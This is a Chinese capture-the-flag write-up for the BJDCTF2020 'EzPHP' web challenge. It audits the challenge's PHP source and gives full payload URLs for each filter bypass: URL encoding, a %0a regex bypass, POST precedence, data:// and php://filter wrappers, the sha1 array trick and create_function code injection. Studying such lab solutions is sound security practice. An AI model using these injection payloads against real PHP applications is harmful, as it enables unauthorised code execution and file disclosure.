[BJDCTF2020]EzPHP1

知识点:1. url编码绕过

               2. %0a绕过

               3. post优先级绕过

               4. php伪协议

               5. 数组的强类型比较绕过

               6. 取反绕过

进入之后发现了一个很帅气的页面😎~

看看网页源代码试试~

 是base32编码,尝试一下解码.

 https://www.qqxiuzi.cn/bianma/base.php

解码出来后是一个1nD3x.php的文件 ,去访问一下.

开始代码审计~

<?php
// 显示文件源码
highlight_file(__FILE__);

// 关闭所有错误报告
error_reporting(0); 

// 设定默认的文件名和变量
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

// 欢迎信息
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

// 检查$_SERVER全局数组是否存在
if($_SERVER) { 
    // 如果查询字符串包含特定的字符或关键字则终止脚本执行
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )
        die('You seem to want to do something bad?'); 
}

// 检查GET参数'file'是否是合法的URL
if (!preg_match('/http|https/i', $_GET['file'])) {
    // 检查GET参数'debu'是否为'aqua_is_cute'且不等于这个值
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    }
} else die('fxck you! What do you want to do ?!');

// 遍历所有请求参数,检查是否有英文字符
if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!');
    }
}

// 检查文件内容是否为特定字符串
if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

// 检查sha1($shana)是否与sha1($passwd)相等且两者的值不同
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    // 提取GET参数中的flag变量
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

// 检查$code和$arg是否包含危险的字符串或命令
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else { 
    // 包含flag.php文件
    include "flag.php";
    // 调用$code函数并传递$arg参数
    $code('', $arg);
}

首先我们要绕过的是.

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
} 

知识点:$_SERVER['QUERY_STRING'] 是一个预定义的 PHP 变量,它包含了 URL 中跟在问号 (?) 后面的所有数据,即 GET 请求参数的原始字符串形式.  

所以我们GET请求的键值对都绕绕过这个preg_math(),我们可以用url编码来绕过,因为当我们使用GET参数执行过程中PHP会自动进行url解码,而SERVER不会.

下面是url编码的python代码.

value=input("url : ")
letter=list(value)
letter_new=''
for i in letter:
    if i=="=" or i=="&" or i=="[" or i=="]" or i==";" or i=="//":
        letter_new+=i
        continue
    letter_new+="%"+hex(ord(i))[2:]
print(letter_new)

之后我们来绕过下面的preg_math().

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!'); 

我们可以传入两个参数分别为file和debu,而我们只需要传入debu的参数便可以绕过, 由于preg_math()是非/s的模式,所以我们可以使用%0a来绕过.

知识点:/s 模式被称为“单行”模式。在正则表达式中,默认情况下,.(点)字符匹配任何单个字符,除了换行符 \n。然而,当你在正则表达式中包含 /s 标志时,. 将匹配包括换行符在内的任何单个字符,我们在尾部加上%0a,preg_math()不会匹配到它,从而绕过. 

开始构造payload.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a

由于第一个preg_math()的限制使用url编码.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a

开始绕过第三个过滤代码.

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
}  

循环$_REQUEST中的value并确保他们不是字母. 

我们可以利用POST请求的优先级比GET请求高的特点来绕过 .

知识点:1.在默认情况下(或当 request_order 包含 "P" 在 "G" 之后时),如果 $_GET 和 $_POST 包含相同名称的键,$_REQUEST 中的值将是 $_POST 里的那个参数的值。

               2.在PHP中,$_REQUEST 数组包含了 $_GET、$_POST 和 $_COOKIE 的内容(如果有的话)。

我们可以构造以下payload.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65

post: debu=1

值得注意的是上面提到的$_COOKIE,所以我们要确保$_COOKIE的value不存在,或者为数字.

开始绕过第四个过滤语句.

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>"); 

这里要使我们传入的file参数中,读取的file文件内容为 debu_debu_aqua,我们可以使用php://input或者是data://text,plain两个为协议来绕过,并且我们需要绕过第一个preg_math(),所以需要进行url编码和base64编码,同时也需要绕过第三个过滤.

开始构造payload.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua

post:debu=1&file=2

url编码后为.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61

debu=1&file=2

开始绕过第五个过滤.

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
} 

典型了强类型比较数组绕过,不要忘了url编码.

开始构造payload.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2

post:debu=1&file=2

编码后为.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32

post:debu=1&file=2

开始最后一个过滤绕过.

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

这里可以使用create_function()代码注入. 

知识点:     

$myfunc = create_function('$a, $b', 'return $a+$b;');

相当于:

function myfunc($a, $b){
    return $a+$b;
}

若$b对传入的值没有限制,则可以使用$code=return $a+$b;}eval($_POST['cmd']);//该payload构造命令执行,也就是:

function myfunc($a, $b){
	return $a+$b;
}
eval($_POST['cmd']);//}

所以我们可以通过倒数第二个的过滤中的flag传参来控制 code和arg两个参数.

由于很多函数被禁用了,我们使用get_defined_vars()读取所有的变量与值来构造payload.

flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function

// 等价于
function{
}
var_dump(get_defined_vars());//}

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2&flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function

post:debu=1&file=2

url编码为. 

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function

post:debu=1&file=2

得到了一张图片和所有的键值对.

flag灏卞湪杩欓噷锛屼綘鑳芥嬁鍒板畠鍚楋紵array(13) { ["_GET"]=> array(5) { ["debu"]=> string(13) "aqua_is_cute " ["file"]=> string(32) "data://text/plain,debu_debu_aqua" ["shana"]=> array(1) { [0]=> string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["flag"]=> array(2) { ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" } } ["_POST"]=> array(2) { ["debu"]=> string(1) "1" ["file"]=> string(1) "2" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["_SERVER"]=> array(65) { ["PHP_EXTRA_CONFIGURE_ARGS"]=> string(77) "--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi" ["KUBERNETES_SERVICE_PORT"]=> string(3) "443" ["KUBERNETES_PORT"]=> string(20) "tcp://10.240.0.1:443" ["HOSTNAME"]=> string(3) "out" ["PHP_INI_DIR"]=> string(18) "/usr/local/etc/php" ["SHLVL"]=> string(1) "1" ["HOME"]=> string(14) "/home/www-data" ["PHP_LDFLAGS"]=> string(34) "-Wl,-O1 -Wl,--hash-style=both -pie" ["PHP_CFLAGS"]=> string(83) "-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64" ["PHP_MD5"]=> string(0) "" ["PHP_VERSION"]=> string(6) "7.3.13" ["GPG_KEYS"]=> string(81) "CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D" ["PHP_CPPFLAGS"]=> string(83) "-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64" ["PHP_ASC_URL"]=> string(62) "https://www.php.net/get/php-7.3.13.tar.xz.asc/from/this/mirror" ["PHP_URL"]=> string(58) "https://www.php.net/get/php-7.3.13.tar.xz/from/this/mirror" ["KUBERNETES_PORT_443_TCP_ADDR"]=> string(10) "10.240.0.1" ["PATH"]=> string(60) "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" ["KUBERNETES_PORT_443_TCP_PORT"]=> string(3) "443" ["KUBERNETES_PORT_443_TCP_PROTO"]=> string(3) "tcp" ["KUBERNETES_SERVICE_PORT_HTTPS"]=> string(3) "443" ["KUBERNETES_PORT_443_TCP"]=> string(20) "tcp://10.240.0.1:443" ["PHPIZE_DEPS"]=> string(78) "autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c" ["KUBERNETES_SERVICE_HOST"]=> string(10) "10.240.0.1" ["PWD"]=> string(13) "/var/www/html" ["PHP_SHA256"]=> string(64) "57ac55fe442d2da650abeb9e6fa161bd3a98ba6528c029f076f8bba43dd5c228" ["FLAG"]=> string(4) "null" ["USER"]=> string(8) "www-data" ["HTTP_X_FORWARDED_FOR"]=> string(25) "121.26.229.182, 127.0.0.1" ["HTTP_UPGRADE_INSECURE_REQUESTS"]=> string(1) "1" ["HTTP_REMOTE_HOST"]=> string(14) "121.26.229.182" ["HTTP_REFERER"]=> string(237) "http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32" ["HTTP_PRIORITY"]=> string(6) "u=0, i" ["HTTP_ORIGIN"]=> string(61) "http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81" ["HTTP_CONTENT_TYPE"]=> string(33) "application/x-www-form-urlencoded" ["HTTP_ACCEPT_LANGUAGE"]=> string(59) "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" ["HTTP_ACCEPT_ENCODING"]=> string(13) "gzip, deflate" ["HTTP_ACCEPT"]=> string(109) "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8" ["HTTP_CONTENT_LENGTH"]=> string(2) "13" ["HTTP_USER_AGENT"]=> string(80) "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0" ["HTTP_HOST"]=> string(51) "adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn" ["SCRIPT_FILENAME"]=> string(23) "/var/www/html/1nD3x.php" ["REDIRECT_STATUS"]=> string(3) "200" ["SERVER_NAME"]=> string(9) "localhost" ["SERVER_PORT"]=> string(2) "80" ["SERVER_ADDR"]=> string(12) "10.244.80.11" ["REMOTE_PORT"]=> string(5) "36758" ["REMOTE_ADDR"]=> string(12) "10.244.80.35" ["SERVER_SOFTWARE"]=> string(12) "nginx/1.16.1" ["GATEWAY_INTERFACE"]=> string(7) "CGI/1.1" ["REQUEST_SCHEME"]=> string(4) "http" ["SERVER_PROTOCOL"]=> string(8) "HTTP/1.1" ["DOCUMENT_ROOT"]=> string(13) "/var/www/html" ["DOCUMENT_URI"]=> string(10) "/1nD3x.php" ["REQUEST_URI"]=> string(276) "/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function" ["SCRIPT_NAME"]=> string(10) "/1nD3x.php" ["CONTENT_LENGTH"]=> string(2) "13" ["CONTENT_TYPE"]=> string(33) "application/x-www-form-urlencoded" ["REQUEST_METHOD"]=> string(4) "POST" ["QUERY_STRING"]=> string(265) "%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function" ["FCGI_ROLE"]=> string(9) "RESPONDER" ["PHP_SELF"]=> string(10) "/1nD3x.php" ["REQUEST_TIME_FLOAT"]=> float(1720874272.6966) ["REQUEST_TIME"]=> int(1720874272) ["argv"]=> array(1) { [0]=> string(265) "%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function" } ["argc"]=> int(1) } ["_REQUEST"]=> array(5) { ["debu"]=> string(1) "1" ["file"]=> string(1) "2" ["shana"]=> array(1) { [0]=> string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["flag"]=> array(2) { ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" } } ["file"]=> string(32) "data://text/plain,debu_debu_aqua" ["shana"]=> array(1) { [0]=> string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" ["value"]=> array(2) { ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" } ["ffffffff11111114ggggg"]=> string(89) "Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333" } 

最后面显示 I hid the real flag in rea1fl4g.php,所以我们要找的flag就在rea1f14g.php这个文件中.

首先最后一个过滤了inc 可以用require以代替,flag可以用base64编码来绕过,我们可以先包含flag文件后再用var_dump(get_defined_vars())来读取flag.

require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars);

开始构造payload.

http://12fb6d6a-1ce1-44de-9019-714bebad00eb.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function

post:debu=1&file=2

url编码后为. 

http://12fb6d6a-1ce1-44de-9019-714bebad00eb.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}%72%65%71%75%69%72%65(%62%61%73%65%36%34%5f%64%65%63%6f%64%65(%63%6d%56%68%4d%57%5a%73%4e%47%63%75%63%47%68%77));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function

post:debu=1&file=2

结果为. 

实际上呢,得到了假的flag,这是不可以的,下面的源代码.

<?php
echo "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!";
$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
$rea1_f1114g = "flag{2622b627-3f03-4c10-9cdd-ba90b42de5e8}";
unset($rea1_f1114g);

 包含了flag文件后$real_f1114g会被unset掉,所以我们可以用php为协议去读取该文件的内容.

php://filter/convert.base64-encode/resource=rea1fl4g.php

之后取反绕过.

<?php

$s = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';
echo urlencode(~$s);

开始构造payload.

http://12fb6d6a-1ce1-44de-9019-714bebad00eb.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);//&%66%6c%61%67[%63%6f%64%65]=create_function

post:debu=1&file=2

结果如下. 

PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIG1heGltdW0tc2NhbGU9MSwgdXNlci1zY2FsYWJsZT1ubyI+DQo8dGl0bGU+UmVhbF9GbGFnIEluIEhlcmUhISE8L3RpdGxlPg0KPC9oZWFkPg0KPC9odG1sPg0KPD9waHANCgllY2hvICLlkqbvvIzkvaDlsYXnhLbmib7liLDmiJHkuobvvJ/vvIHkuI3ov4fnnIvliLDov5nlj6Xor53kuZ/kuI3ku6PooajkvaDlsLHog73mi7/liLBmbGFn5ZOm77yBIjsNCgkkZjRrZV9mbGFnID0gIkJKRHsxYW1fYV9mYWtlX2Y0MTExMWcyMzMzM30iOw0KCSRyZWExX2YxMTE0ZyA9ICJmbGFne2MyNGVlOTE3LTQyZjMtNGYxMy04NzJjLTc1YzdmZjkzZTA3OH0iOw0KCXVuc2V0KCRyZWExX2YxMTE0Zyk7DQo= 

将其进行base64解码.

https://www.toolhelper.cn/EncodeDecode/Base64

得到flag,游戏结束~ 

  • 14
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值